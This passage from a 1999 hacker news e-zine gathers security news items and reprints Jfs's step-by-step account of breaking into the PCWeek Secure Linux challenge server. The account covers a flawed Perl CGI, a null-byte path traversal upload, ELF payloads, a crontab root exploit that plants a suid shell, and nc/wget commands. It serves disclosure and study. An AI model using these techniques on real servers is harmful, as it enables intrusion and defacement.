The United States put together its first small group of information warriors, a move that has convinced some Defense experts that the military waged a cyberwar against Serbia this year. According to a high-level draft briefing paper the group of information warriors -- or what the Defense Department refers to as an information operations cell -- was one of the "great successes'' of the 78-day war. According to the draft briefing, information operations (IO) have "an incredible potential" and that "properly executed, IO could have halved the length of the campaign." Federal Computer Week
FULL STORY :
TAKEN FROM FEDERAL COMPUTER WEEK
SEPTEMBER 23, 1999 . . . 17:55 EDT
DOD may have waged first cyberwar in Serbia
BY BOB BREWIN (antenna@fcw.com)
The United States put together its first small group of information warriors, a move that has convinced some Defense experts that the military waged a cyberwar against Serbia this year.
According to a high-level draft briefing paper prepared for Adm. James Ellis, the group of information warriors -- or what the Defense Department refers to as an information operations cell -- was one of the "great successes'' of the 78-day war. Ellis is commander of U.S. Naval Forces in Europe and of Joint Task Force Noble Anvil -- the U.S. component of the NATO nations participating in Operation Allied Force.
According to the draft briefing, information operations (IO) have "an incredible potential" and that "properly executed, IO could have halved the length of the campaign."
A Navy spokesman for Ellis in London declined to say whether the United States engaged in offensive cyberattacks against Serbian computers and command and control systems. Instead, he recited a textbook definition of IO, which included "actions taken to affect adversary information systems'' as well as to defend U.S. systems. Offensive IO actions range from jamming and physical attacks on information systems to computer network attacks.
While the spokesman declined to identify which of those actions the United States used against Serbian information systems during Operation Allied Force, retired Maj. Gen. Doyle Larson, chairman of the Air Force Association, said he doubted that the United States set up an IO cell just to manage the bombing of Serbian computer centers or to engage in traditional jamming of Serb radar and radios.
Larson, who was the commander of the Air Force Electronic Security Command in the 1980s, said he was convinced that the United States used cyberwar tactics to attack Serb information systems, pointing out that the United States "is attacked all the time by hackers."
@HWA
18.6 PCWEEK CHALLENGE SITE HACKED
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Sla5h, smuddo@yahoo.com
by Thejian, Friday 23rd September 1999 on 5:45 pm CET
Earlier this week, PC Week Labs "threw down the gaunlet to hackers" with its hack-challenge, it seems that the Secure Linux part of that site now has been defaced. The index shows the messages "Jfs was here" and "details in the file called jfs* in this directory."
@HWA
18.7 "Got Root" Got rooted
~~~~~~~~~~~~~~~~~~~~~
Contributed by Sla5h, smuddo@yahoo.com
22.09.1999 19:10
Today official website of RootFest was hacked by citadel. On the hacked page citadel is accusing lothos
( organizator of RootFest ). " back back in the old days he went by the name of deadfall. but after he
and some friends were busted, he narc'd on them. from then on he was labeled deadnarc. as you can imagine
this would be a problem if you were trying to portray the image of a "hacker". so he changed his handle
to lothos. ", were the words on defaced page.
Links:
Attrition mirror http://www.attrition.org/mirror/attrition/1999/09/21/www.rootfest.org/
(The site claimed that lothos was a narq and had this to say on the hacked page:
you may think you know this young man,
but you do not. his name is mike monson. back
back in the old days he went by the name of
deadfall. but after he and some friends were
busted, he narc'd on them. from then on he
was labeled deadnarc. as you can imagine this
would be a problem if you were trying to
portray the image of a "hacker". so he changed
his handle to lothos. then last spring he had
conference called "rootfest". above are two
photos taken of him at rootfest.
wether the allegations are true or not has not been verified, however lothos did speak out in his
behalf. we'll publish this if/when I can find a copy of the interview. -Ed )
@HWA
18.8 Hotmail again
~~~~~~~~~~~~~~
Contributed by Sla5h, smuddo@yahoo.com
23.09.1999 19:10
Looks like Hotmail 's got problems with security (again). This time problem is with JavaScript (again). Attacker could send a HTML e-mail to victim in HTML there would bec JavaScript that opens same login window as hotmail's. Microsoft admited that this is antoher way to steal password.
Links:
Cnet http://news.cnet.com/news/0-1005-200-122099.html
@HWA
18.9 Misc vulnerabilities and some reading materials
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Sla5h, smuddo@yahoo.com
+ V U L N E R A B I L I T I E S +
___________________________________________________________________________________________
Microsoft IIS 4.0 Domain Resolution Vulnerability http://securityfocus.net/level2/bottom.html?go=vulnerabilities&id=657 Remote: Yes
Local: No
Exploit: Yes Published: Thu Sep 23 1999
Updated: Thu Sep 23 1999
IIS 4.0 allows an administrator the option to restrict access by specifying a domain or an IP address If a domain is restricted, but a machine in that domain that cannot be resolved makes an HTTP request, the IIS server will respond as usual. Any subsequent requests will be denied.
Restricted hosts with an IP address that can be resolved to a domain name will be denied access from the first request.
___________________________________________________________________________________________
FreeBSD vfs_cache Denial of Service Vulnerability http://securityfocus.net/level2/bottom.html?go=vulnerabilities&id=653 Remote: Yes
Local: Yes
Exploit: Yes Published: Wed Sep 22 1999
Updated: Wed Sep 22 1999
A vulnerability exists in FreeBSD's new VFS cache introduced in version 3.0 that allows a local and possibly remote user to force the kernel to consume large quantities of wir...
+ R E A D I N G +
___________________________________________________________________________________________
Security Problems in the TCP/IP Protocol Suite http://securityfocus.net/level2/bottom.html?go=library&id=1463 by Steven Bellovin
Type: paper Year: 1989
Download: PS
The TCP/IP protocol suite, which is widely used today, was developed under the sponsorship of the Department of Defense. Despite that, there are a number of serious security flaws inherent in the protocols, regardless of the correctness of any implementations. We describe a variety of attacks based on these flaws, including sequence number spoofing, routing attacks, source address spoofing, and authentication attacks. We also present defenses against these attacks, and conclude with a discussion of broad-spectrum defenses such as encryption.
copyright (c) SLa5H ,member of HWA.hax0r.news
@HWA
19.0 ACTIVE X TROJAN
~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by BHZ, Sunday 25th September 1999 on 8:35 pm CET
TL security published information about ActiveX trojan. "The shareme activex trojan
writes two .reg files. Then runs them in order. The first file enables file sharinghe
second shares out the targets hard drive with hiddennames like top-d$, top-f$, etc.
These two reg files are then run in order. The system would take these changes into
effect after the next reboot." Contributed by Thierry
@HWA
20.0 ANALYSYS BY JFS - The PCWeek hack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by BHZ, Sunday 25th September 1999 on 8:15 pm CET
Mentes Inquietas, !Hispahack webzine has the story by Jfs about getting into linux
part of PC Week cracking contest. In it his explains every step he did until he
succeeded. http://hispahack.ccc.de/en/mi019en.htm
A practical vulnerability analysis
(The PcWeek crack)
By Jfs
First of all, I had to gather information on the remote host, what ports the machine
had open and what possibilities were left open. After checking that most of the
ports were either filtered by the firewall or unusable due to the tcp
wrapper in the host, I decided that I was left only with the HTTP server.
lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is '^]'.
POST X HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#
So, it was running apache on a Red Hat box. The webpage said that the server will also
run mod_perl, but mod_perl leaves a fingerprint in the Server: header which
was not shown in the header that this server sent out.
Apache 1.3.6 doesn't ship with any CGI programs available to the remote user, but I didn't
know about the RH distro, so I gave the common faulty CGIs a try
(test-cgi, wwwboard, Count.cgi...)
After no results, I tried to find out what the website structure was, gathering information
from the HTML pages, I found out that the server had this directories under
the DocumentRoot of the website:
/
/cgi-bin
/photoads/
/photoads/cgi-bin
So I got interested in the photoads thingie, which seemed like an installable package to me.
After some searching on the WWW I found out that photoads was a commercial CGI package from
"The Home Office Online" (http://www.hoffice.com). It sells for $149, and they grant you
access to the source code (Perl), so that you can check and modify it.
I asked a friend if he would let me gave a look at his photoad installation
and this is how I got access to a copy of what could be running in the securelinux machine.
I checked the default installation files and I was able to retrieve the ads database
(stored in the http://securelinux.hackpcweek.com/photoads/ads_data.pl) with all the
user passwords for their ads. I also tried to access the configuration file
/photoads/cgi-bin/photo_cfg.pl but because of the server setup I couldn't get it.
I got the /photoads/cgi-bin/env.cgi script (similar to test-cgi) to give me details of the
server such as the location in the filesystem of the DocumentRoot (/home/httpd/html) apart
from other interesting data (user the server runs as, in this case nobody).
So, first things first, I was trying to exploit either SSI (Server side includes) or the
mod_perl HTML-embedded commands, which look something like:
<!--#include file="..."--> for SSI
<!--#perl ...--> for mod_perl
The scripts filtered thsi input on most of the fields, through a perl regexp that didn't
leave you with much room to exploit. But I also found a user assigned variable that wasn't
checked for strange values before making it into the HTML code, which will let me embed the
commands inside the HTML for server side parsing:
In post.cgi, line 36:
print "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}\n";
The $ENV{'HTTP_REFERER'} is a user provided variable (though you have to know a bit of how
HTTP headers work in order to get it right), which will allow us to embed any HTML into the
code, regardless of what the data looks like.
Refer to the files getit.ssi and getit.mod_perl for the actual exploit.
To exploit it, do something like:
lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80
But unfortunately, the host didn't have SSI nor mod_perl configured, so I
hit a dead end.
I decided to find a hole in the CGI scripts. Most of the holes in perl scripts are found in
open(), system() or `` calls. The first allows reading, writing and executing,
while the last two allow execution.
There were no occurrences of the last two, but there were a few of the open() call:
lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more
advisory.cgi: open (DATA, "$BaseDir/$DataFile");
edit.cgi: open (DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
photo.cgi: open ( FILE, $filename );
(...)
There was nothing to do with the ones referring to $BaseDir and $DataFile as these were defined
in the config file and couldn't be changed in runtime.
Same for the $mailprog.
But the other two lines are juicier...
In photo.,cgi, line 132:
$write_file = $Upload_Dir.$filename;
open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
print ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);
So if we are able to modify the $write_file variable we will be able write to any file in the
filesystem. The $write_file variable comes from:
$write_file = $Upload_Dir.$filename;
$Upload_Dir is defined in the config file, so we can't change it, but what about $filename?
In photo.cgim line 226:
if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }
$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
if ($filename =~ m/gif/) {
$type = '.gif';
}elsif ($filename =~ m/jpg/) {
$type = '.jpg';
}else{
{&Not_Valid_Image}
}
So the variable comes from $UPLOAD{'FILE_NAME'} (extracted from the variables sent to the CGI by
the form). We see a regexp that $filename must match in order to help us get where we want to get,
so we can't just sent any file we want to, e.g. "../../../../../../../../etc/passwd", cos it will
get nulled out by the substitution :
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
We see, if the $filename matches the regexp, it's turned to ascii 1 (SOH).
Apart from this, $filename must contain "gif" or "jpg" in its name in order
to pass the Not_Valid_Image filter.
So, after playing a bit with various approaches and with a bit of help from
Phrack's last article on Perl CGI security we find that
/jfs/\../../../../../../../export/www/htdocs/index.html%00.gif
should allow us to refer to the index.html file (the one we have to modify, the main page in the
web server).
But then, in order to upload we still need to fool some more script code...
We notice that we won't be able to fool the filename if we send the form in
a POST (the %00 doesn't get translated), so we are left out with only a GET.
In photo.cgi, line 256, we can see that some checks are done in the actual content of the file we
just uploaded (:O) and that if the file doesn't comply with some specifications (basically
width/length/size) of the image (remember, the photo.cgi script was supposed to be used as a method
to upload a photoad to be bound to your AD). If we don't comply with these details the script will
delete the file we just uploaded (or overwritten), and that's not what we want (at least not if we want
to leave our details somewhere in the server :).
PCWeek has the ImageSize in the configuration file set to 0, so we can forget about the JPG part of
the function. Let's concentrate on the GIF branch:
if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
open ( FILE, $filename );
my $head;
my $gHeadFmt = "A6vvb8CC";
my $pictDescFmt = "vvvvb8";
read FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;
close FILE;
$PhotoWidth = $width;
$PhotoHeight = $height;
$PhotoSize = $size;
return;
}
and in photo.cgi, line 140:
if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
{&Not_Valid_Image}
}
if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
{&Height_Width}
}
So we have to make the $PhotoWidth less than 700, different from "" and smaller than ImgWidth
(350 by default).
So we are left with $PhotoWidth != "" && $PhotoWidth < 350 .
For $PhotoHeight it has to be smaller than $ImgHeight (250 by default).
So, $PhotoWidth == $PhotoHeight == 0 will do for us. Looking at the script that gets the
values into those variables, the only thing we have to do is to set the values in the 6th
to 9th byte to ascii 0 (NUL).
We make sure that we put our FILE_CONTENT to comply with that and proceed with the next problem in the code...
chmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");
Show_Upload_Success($write_file);
Argh!!! After all this hassle and the file gets renamed/moved to somewhere we don't want it to be :(
Checking the $AdNum variable that gives the final location its name we see that it can only contain digits:
$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{'AdNum'};
Anything else gets removed, so we can't play with the ../../../ trick in here anymore :|
So, what can we do? The rename() function expects us to give him two paths, the old one and the new one... wait, there is no error checking on the function, so if it
fails it'll just keep on processing the next line. How can we make it fail? using a bad file name. Linux kernel has got a restriction on how long a file can be, defaults to
1024 (MAX_PATH_LEN), so if we can make the script rename our file to something longer than 1024 bytes, we'll have it! :)
So, next step we pass it a _really large_ AD number, approximately 1024 bytes long.
Now, the script won't allow us to process the script as it only allows us to post photos for ADs number that do exist... and it will take us a hell of a lot of time to
create taht many messages in the board 10^1024 seems quite a long time to me :)
So... another dead end?
Nah, the faulty input checking functions let us create an add with the number we prefer. Just browse through the edit.cgi script and think what will happen if you enter
a name that has a carriage return in between, then
a 1024 digits number? :) We got it...
Check the long.adnum file for an exploit that gets us the new ad created.
So, after we can fool the AdNum check, the script makes what we do, that is:
Create/overwrite any file with nobody's permissions, and with the contents
that we want (except for the GIF header NULs).
So, let's try it
Check the overwrite.as.nobody script that allows us to do that.
So far so good. So, we adjust the script to overwrite the index.html web page... and it doesn't work. Duh :(
It's probably that we didn't have the permission to overwrite that file (it's owned by root or it's not the right mode to overwrite it). So, what do we do now? Let's try
a different approach...
We try to overwrite a CGI and see it we can make it run for us :) This way we can search for the "top secret" file and we'll get the prize anyway :)
We modify the overwrite script, and yes, it allows us to overwrite a CGI! :)
We make sure we don't overwrite any important (exploit-wise) CGI and we choose the advisory.cgi (what does it do anyway? :)).
So, we will upload a shell script that will allow us to execute commands, cool...
But then, when you run a shell script as a CGI, you need to specify the
shell in the first line of the script, as in:
#!/bin/sh
echo "Content-type: text/html"
find / "*secret*" -print
And remember, our 6th, 7th, 8th and 9th bytes had to be 0 or a very small value in order to comply with the size specifications...
#!/bi\00\00\00\00n/sh
That doesn't work, the kernel only reads the first 5 bytes, then tries to execute "#!/bi"... and as far as I know there is no shell we can access that fits in 3 bytes (+2
for the #!). Another dead end...
Looking at an ELF (linux default executable type) binary gives us the answer, as it results that those bytes are set to 0x00, yohoo :)
So we need to get an ELF executable into the file in the remote server. We have to url-encode it as we can only use GETs, not POSTs, and thus we are limited to a
maximum URI length. The default maximum URI length for Apache is 8190 bytes. Remember that we had a _very long_ ad number of 1024 characters, so we are
left with about 7000 bytes for our URL-encoded ELF program.
So, this little program:
lemming:~/pcweek/hack/POST# cat fin.c
#include <stdio.h>
main()
{
printf("Content-type: text/html\n\n\r");
fflush(stdout);
execlp("/usr/bin/find","find","/",0);
}
compiled gives us:
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*
And stripping the symbols:
lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#
Then URL-encoding it:
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url
Which is TOO large for us to use in our script :(
so, we edit the binary by hand using our intuition and decide to delete everything after the "GCC" string in the executable. It's not a very academic approach and
probably it'll pay to check the ELF specifications, but hey, it seems to work:
lemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#
Now, we incorporate this into our exploit, and run it...
Check the file called get.sec.find in the files directory for more info.
Also there you will find the to_url script and some .c files with basic commands to run along with their URL translations and finished exploits.
So, we upload the CGI, and access it with our favorite browser, in this case:
wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi
Which gives us a completed find / of the server :)
Unfortunately, either the "top secret" file is not there, or it is not accessible by the nobody user :(
We try some more combinations as locate, ls and others, but no traces of the "top secret" file.
[ I wonder where it was after all, if it ever existed ]
So, time to get serious and get root. As a friend of mine says, why try to reinvent the wheel, if it's already there. So with our data about the server
(Linux, i386 since my computer is an i386 and the ELFs ran as a charm...) we grep the local exploit database and find a nice exploit for all versions of RH's crontab.
Available on your nearest bugtraq/securityfocus store :) kudos to w00w00 for this
We modify it to tailor our needs, as we won't need an interactive rootshell, but to create a suidroot shell in some place accessible by the user nobody.
We tailor it to point to /tmp/.bs. We upload the CGI again, run it with our browser, and we are ready to see if the exploit runs fine.
We make a CGI that will ls /tmp and yeah, first try and we have the suitroot waiting for us :)
We upload a file to /tmp/xx with the modified index.html page.
Time to make a program that will run:
execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);
And at this point the game is over :)
It's been around 20hours since we started, good timing 8)
We then upload and copy our details to a secure place where nobody will see them, and post a message in the forum waiting for replies :)
( Download PCWEEK.ZIP to get the xploits and scripts used. )
Jfs - !H'99
jfs@gibnet.gi
http://hispahack.ccc.de
The PCWEEK.ZIP archive contains the following:
Archive: ../pcweek.zip
Length Method Size Ratio Date Time CRC-32 Name
------ ------ ---- ----- ---- ---- ------ ----
567 Defl:N 334 41% 09-25-99 03:07 71a5491c getit.mod_perl
301 Defl:N 220 27% 09-25-99 03:07 99acc702 getit.ssi
1725 Defl:N 961 44% 09-25-99 04:36 409dbafd cp
1344 Defl:N 195 86% 09-25-99 03:55 bf129429 long.adnum
1482 Defl:N 273 82% 09-25-99 04:00 45eabccf overwrite.as.nobody
173 Defl:N 139 20% 09-25-99 04:36 2b8077da cp.c
4589 Defl:N 1130 75% 09-25-99 04:36 1eaeebae cp.url
1737 Defl:N 970 44% 09-25-99 04:36 c3b5d4c0 cp2
182 Defl:N 152 17% 09-25-99 04:36 96ef4516 cp2.c
4607 Defl:N 1136 75% 09-25-99 04:36 ced63691 cp2.url
2197 Defl:N 1232 44% 09-25-99 04:36 a8f288ca cr
1153 Defl:N 506 56% 09-25-99 04:36 ddb6ad31 cr.c
5729 Defl:N 1456 75% 09-25-99 04:36 920e86f7 cr.url
5838 Defl:N 1313 78% 09-25-99 04:36 26a419fe fes.cp
5856 Defl:N 1319 78% 09-25-99 04:36 ed441d3c fes.cp2
6976 Defl:N 1640 77% 09-25-99 04:36 b4bb0f1f fes.cr
1288 Defl:N 187 86% 09-25-99 04:36 ea735eab fes.delete
5722 Defl:N 1284 78% 09-25-99 04:36 e9ff4a66 fes.fil
5790 Defl:N 1292 78% 09-25-99 04:36 86962231 fes.ls
180 Defl:N 125 31% 09-25-99 04:36 0487481d fes.pl
1685 Defl:N 948 44% 09-25-99 04:36 0e839e45 fil
177 Defl:N 150 15% 09-25-99 04:36 ff116487 fil.c
4473 Defl:N 1097 76% 09-25-99 04:36 85c66ba0 fil.url
1693 Defl:N 943 44% 09-25-99 04:36 9d149df6 ls
136 Defl:N 121 11% 09-25-99 04:36 69182852 ls.c
4541 Defl:N 1106 76% 09-25-99 04:36 64756e15 ls.url
------ ------ --- -------
70141 20229 71% 26
You can get this from : http://hispahack.ccc.de/programas/pcweek.zip
@HWA
21.0 CALCULATOR IN THE URL
~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by BHZ, Saturday 24th September 1999 on 8:15 pm CET
This is a cool address picked up by Newstrolls (www.newstrolls.com). As the page
says: "The urlcalculator demonstrates the weirdest URL-tricks. YOU change the
hostname to the function and arguments you want; and you get the result on the
homepage of the site". Visit the help for calculator-in-the-URL on the following
address: http://$urlcalc(help).x42.com
@HWA
22.0 W97M_SUPPL
~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by BHZ, Saturday 24th September 1999 on 7:43 pm CET
Trend Micro found another macro virus in the wild. This new virus is distributed via
e-mail in an empty Word 97 document. Upon opening the SUPPL.DOC file,
W97M_SUPPL activates and copies itself to the Windows directory (as
ANTHRAX.INI). Once an infected system is rebooted, TROJ_SUPPL starts to spread
itself by attaching the SUPPL.DOC file to every outgoing message. After a system
has been infected for 163 hours, TROJ_SUPPL runs its destructive payload, which
tries to open all files with the .DOC, .XLS, .TXT, .RTF, .DBF, .ZIP, .ARJ and .RAR
extentions and truncate them. www.antivirus.com
@HWA
23.0 WHO IS TO "BLAME"
~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by BHZ, Saturday 24th September 1999 on 7:23 pm CET
After the Secure Linux part of the PC Week cracking contest was compromised,
hacker who was successful in it spoke on forum over there: "I suppose it's not Linux
who should get blamed but the company that _sells_ CGI scripts with improper
security checks. This applies to Unix, NT or whatever other operating system you are
running. The problem here, IMHO, is that the CGIs used were not open source. I'm
sure that if they had been open source somebody out there will have done a security
audit on them and patched the holes".
@HWA
24.0 LPAZ DEFACED
~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by BHZ, Saturday 24th September 1999 on 7:12 pm CET
Web site of The Arizona Libertorian Party has been compromised today. As posted
on defaced mailing list on Attrition, Jericho said "The 'lpaz' hack is interesting. No
elite speak, no cussing. A seemingly true political hack." Archive of the hack here
http://www.attrition.org/mirror/attrition/1999/09/24/www.lpaz.org/
@HWA
25.0 VIRUS WRITING OUTLAWED
~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by Thejian, Friday 23rd September 1999 on 1:25 am CET
On Wednesday Parliament approved an amendment to Finnish criminal legislation
that will make the writing and spreading of computer viruses punishable under law.
Under the terms of the new law the writing, making available, or spreading computer
viruses will be punishable by fines or by prison terms of up to two years.
http://www.helsinki-hs.net/today/230999-05.html
Virus spreaders to feel the long arm of the law
On Wednesday Parliament approved an amendment to Finnish
criminal legislation that will make the writing and spreading of
computer viruses punishable under law. The decisive second
reading of the Bill cites the offence as a catch-all "Causing
danger to data processing systems". Under the terms of the new
law this will be punishable by fines or by prison terms of up to two
years. It is hoped to get the amendment into law as quickly as
possible.
The law stretches a net to catch those writing, making
available, or spreading computer viruses. This effectively means
for example that anyone who keeps a virus program on their
website that is available for downloading by visitors would
become liable under the law. Liability for punishment is not
limited to cases in which actual harm or hindrance is caused to
data systems, or where the data or files of the infected system
are corrupted or destroyed in the process. The intention to harm
becomes the primary criteria for bringing charges, and this
allows the authorities to bring offenders to book even if the virus
is caught before it has a chance to operate. Under current
Finnish law there is no official sanction for the making and
disseminating of computer viruses, although there have been
prosecutions in cases where an activated virus has caused
damage.
@HWA
26.0 NETWARE 5 BUG STRIKES NSS USERS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by Thejian, Friday 23rd September 1999 on 1:10 am CET
Novell on Wednesday released an updated and debugged version of Support Pack 3,
called Support Pack 3A, to fix a potentially crippling data-loss problem tied to the
original support pack. Users of Novell Storage Services (NSS) found themselves in
trouble after downloading Support Pack 3 which contained a bug which was
destroying their NetWare 5 volumes. Novell suggested that users who have not yet
downloaded the support pack get the new Support Pack 3A, while those who already
have Support Pack 3 get the bug-fixing patch. More info
http://www.infoworld.com/cgi-bin/displayStory.pl?990922.hnnovellbug.htm
NetWare 5 bug strikes NSS users
By Stephanie Sanborn
InfoWorld Electric
Posted at 5:09 PM PT, Sep 22, 1999
Novell on Wednesday released an updated and debugged version of Support Pack 3, called Support Pack 3A, to fix a potentially crippling data-loss
problem tied to the original support pack.
Users of Novell Storage Services (NSS) found themselves in trouble after downloading Support Pack 3 � a bug was destroying their NetWare 5 volumes.
According to Novell officials, upon learning of the bug the company initially created a patch for the support pack, which could be downloaded from the
Novell Web site. Support Pack 3 was also removed from the site.
In a statement, Sean Sanders, NetWare product marketing manager, and Gary King, a representative from Novell's technical support group, said,
"Fortunately, less than 1 percent of NetWare 5 users experienced this [volume-loss] problem. "
Novell has now posted Support Pack 3A, which it declared is free of the volume-destroying glitch.
" [IT managers] should immediately patch this thing, " said Eric J. Bowden, general manager at BugNet, in Lindon, Utah. "Go to Support Pack 3A and
bypass 3.0."
Novell suggested that users who have not yet downloaded the support pack get the new Support Pack 3A, while those who already have Support Pack 3
get the bug-fixing patch.
"That was a pretty critical bug for people who have installed NSS, " Bowden said. "Catastrophic bugs usually get the most press, and there aren�t that many
that can wipe out your file system. This one has the capability of wiping out your file system. "
However, Novell officials said that if a customer runs into the data-loss bug, they should immediately contact Novell technical support officials, who can
recreate the volumes and recover data.
"The best advice I can give is don�t panic, but make informed decisions as you apply these patches, " Bowden added.
NetWare 5 patches and Support Pack 3A are available at www.support.novell.com.
Novell, Inc., in Provo, Utah, is at www.novell.com.
Stephanie Sanborn is an InfoWorld reporter. Additional reporting by Matthew Nelson, an InfoWorld senior writer.
@HWA
27.0 TAGGED STUDENTS DEFY BIG BROTHER
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by Thejian, Friday 23rd September 1999 on 0:25 am CET
Hundreds of students in this little town don't want to wear their Social Security
numbers around their necks for all to see. When the school year began a few weeks
ago, the students at Ruston High School, like many students across the nation, were
required to wear an ID badge as part of added security precautions. The badges in
Ruston include each student's Social Security number, a violation of federal law
according to two students. Although administrators claim the number is protected
from unauthorized use through encryption in the barcode, the students already
cracked the code.
http://www.worldnetdaily.com/bluesky_bresnahan/19990923_xex_tagged_stude.shtml
YOUR PAPERS, PLEASE
Tagged students
defy Big Brother
Reject being forced
to wear Social Security numbers
By David M. Bresnahan
� 1999 WorldNetDaily.com
RUSTON, Louisiana -- Hundreds of students in this
little town don't want to wear their Social Security
numbers around their necks for all to see. Their school
administrators have ignored their complaints even
though their numbers are growing.
When the school year began a few weeks ago, the
students at Ruston High School, like many students
across the nation, were required to wear an ID badge
as part of added security precautions. The badges in
Ruston include each student's Social Security number, a
violation of federal law according to two students.
The badges are worn on a lanyard with the Pepsi logo
on it. The badge has a photo of the student, the school
name, the student's name, and a barcode which
represents the Social Security number. Although
administrators claim the number is protected from
unauthorized use through encryption in the barcode, the
students know that is not true.
To prove how easy it is to read the barcodes, Jonathan
Washington, 16, reads any barcode in about 15
seconds. He tells other students their Social Security
number and then asks them to sign his petition to have
the cards changed.
His methods are convincing. Over 350 students have
signed in just the first few days. Rachel Winchel, 16,
another Ruston student, is helping to spread the protest
and circulate the petition.
"We just aren't taught code 39 barcode encryption in
school. It's just another system that is easily learned. It's
not that hard," explained Washington to WorldNetDaily.
He has created an Internet web page to teach others
how to read the cards.
Washington and Winchel are also concerned that a
student from the school did the work to enter all the
Social Security numbers into the computer that was
used to make the cards. They said little or no security
was used to protect the numbers from unauthorized use.
"Parents should have some concern because their
children's Social Security numbers are linked directly to
theirs in all financial records. If you have a child's you
can get the parents'. It's a financial jeopardy to just
about everyone in school," complained Washington.
He said his concern is a philosophical one, not religious.
Winchel is of a different opinion.
"I have religious and moral convictions behind what
they're doing as it being wrong. It's totally appalling,"
she said in a phone interview.
"I'm a person that's made by God and I'm not a number.
I'm more special than that. I do believe that it's
religiously wrong. I don't want to be branded and
labeled as livestock. We're more special than that," said
Winchel.
Washington is opposed to ID cards in general and does
not want his Social Security number displayed for all to
see, nor does he want it to be in school computers. His
parents are seeking legal counsel and have not ruled out
a lawsuit.
The parents of both Washington and Winchel expressed
complete support for what their children are doing.
Dr. Charles Scriber is principal of the school. Although
he met with Washington and his parents, he has ignored
a written complaint from Winchel and her mother. He
has not granted a written request for an appointment to
discuss her concerns.
In an interview with WorldNetDaily he defended the
practice and claims the cards are legal. He said he has
no plans to change the cards.
Since the faculty and administration also wear the cards,
students are busy taking down their Social Security
numbers with plans to publish the results on the Internet
if the cards are not discontinued.
"Actually, it's not difficult to look at it and know what it
means," explained Winchel. "There's narrow bars and
there's wide bars. Each number zero through nine has a
code. By memorizing the code for the number zero
through nine, you can just glance at someone's card and
the numbers just pop out.
"Many kids at school can do it, and it doesn't take very
long to even learn. That's why it concerned me because
it's very easy to learn," she explained.
Winchel and Washington have cut the barcode from
their cards. Amanda Winchel, Rachel's younger sister,
changed her card. She painted over the barcode then
created a new one which represents the number 911.
Winchel and Washington have now stopped wearing
their cards, but they have not been disciplined for doing
so. Their actions could lead to expulsion from school,
but that is a risk they are willing to take to stand up for
what they believe is right.
The Ruston High School Student Handbook detail the
rules regarding the cards and spells out the possible
penalties for infractions.
Washington's complaints to Dr. Scriber produced a
sudden change in policy in the past few days. The
librarian was told to remove Washington's Social
Security number from the library computer which reads
the barcodes. A new card has not been issued, and the
cafeteria computer has not been changed.
"He thought that would get me to leave him alone about
it," said Washington, who has vowed to continue his
fight. He will not be satisfied until the cards are
completely changed for all students. If the change is not
made he expects to take the school to court for civil
damages.
The school has always had an ID card, but past cards
were much different. They did not contain a Social
Security number, nor were they worn. Students were
only required to present the card when requested to do
so.
The new policy was instituted in response to the
numerous shootings at schools around the country.
Many schools now require ID cards to be worn as a
security measure.
Winchel and Washington both claim the ID badge will
not stop a potential killer.
"If anything, they are just good identification for when
you get shot at school so your parents can come and
see your ID badge when your body is mutilated. I don't
see how this would effect security in any way at all,"
exclaimed Winchel.
